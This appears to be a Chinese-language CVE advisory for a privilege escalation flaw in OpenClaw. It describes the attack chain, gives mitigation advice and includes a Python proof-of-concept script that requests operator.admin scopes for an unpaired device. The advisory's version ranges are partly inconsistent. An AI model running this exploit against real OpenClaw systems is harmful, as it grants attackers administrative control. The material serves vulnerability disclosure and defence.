CVE-2026-32042 CVSS 8.8 高危

CVE-2026-32042 OpenClaw权限提升漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-32042

漏洞类型

权限提升

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

OpenClaw

漏洞概述

OpenClaw在2026.2.22至2026.2.25之前的版本中存在权限提升漏洞。该漏洞允许未配对的设备身份绕过操作员配对要求，并自行分配包括operator.admin在内的提升权限。攻击者若拥有有效的共享网关身份验证，可利用自签名的未配对设备身份，在配对批准授予前请求并获取更高的操作员权限范围。

技术细节

该漏洞的核心在于OpenClaw共享网关认证机制中针对未配对设备身份的校验逻辑缺失。在标准的业务逻辑中，设备接入并申请操作员权限必须经过严格的配对审批流程。然而，在2026.2.22及更早版本中，系统仅验证了网关认证的有效性，却未严格检查请求设备是否已完成与网关的配对绑定。攻击者利用这一逻辑漏洞，通过持有有效的共享网关认证令牌，结合一个自签名且未在系统中完成配对的设备标识，向权限端点发起请求。由于系统错误地信任了该请求，导致攻击者能够直接获取包括operator.admin在内的高级别操作员作用域，从而完全控制系统权限，绕过了原本旨在保障安全的配对审批机制。

攻击链分析

STEP 1

1. 获取认证

攻击者获取OpenClaw共享网关的有效认证凭据。

STEP 2

2. 构造身份

攻击者创建或使用一个自签名的、未与系统配对的设备身份标识。

STEP 3

3. 发起请求

利用共享网关认证，向系统发送包含未配对设备ID和高权限请求（如operator.admin）的授权请求。

STEP 4

4. 权限提升

系统因未校验设备配对状态，直接授予请求的高级操作员权限，攻击者获得管理员控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL
url = "https://<target-openclaw-domain>/api/v1/device/authorize"

# Valid shared gateway authentication token
auth_token = "<VALID_SHARED_GATEWAY_TOKEN>"

# Headers with the gateway auth
headers = {
    "Authorization": f"Bearer {auth_token}",
    "Content-Type": "application/json"
}

# Payload exploiting the vulnerability
# Simulate an unpaired device identity requesting elevated scopes
payload = {
    "device_id": "unpaired_attacker_device",
    "requested_scopes": ["operator.admin", "operator.read", "operator.write"]
}

try:
    response = requests.post(url, json=payload, headers=headers, verify=False)
    if response.status_code == 200:
        print("[+] Privilege escalation successful!")
        print(f"[+] Granted scopes: {response.json().get('scopes')}")
    else:
        print("[-] Exploit failed")
        print(response.text)
except Exception as e:
    print(f"Error: {e}")

影响范围

OpenClaw < 2026.2.25

OpenClaw 2026.2.22

防御指南

临时缓解措施

建议立即升级到修复版本。如果暂时无法升级，应严格限制共享网关认证的访问权限，并密切监控系统中未配对设备的异常权限请求活动。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表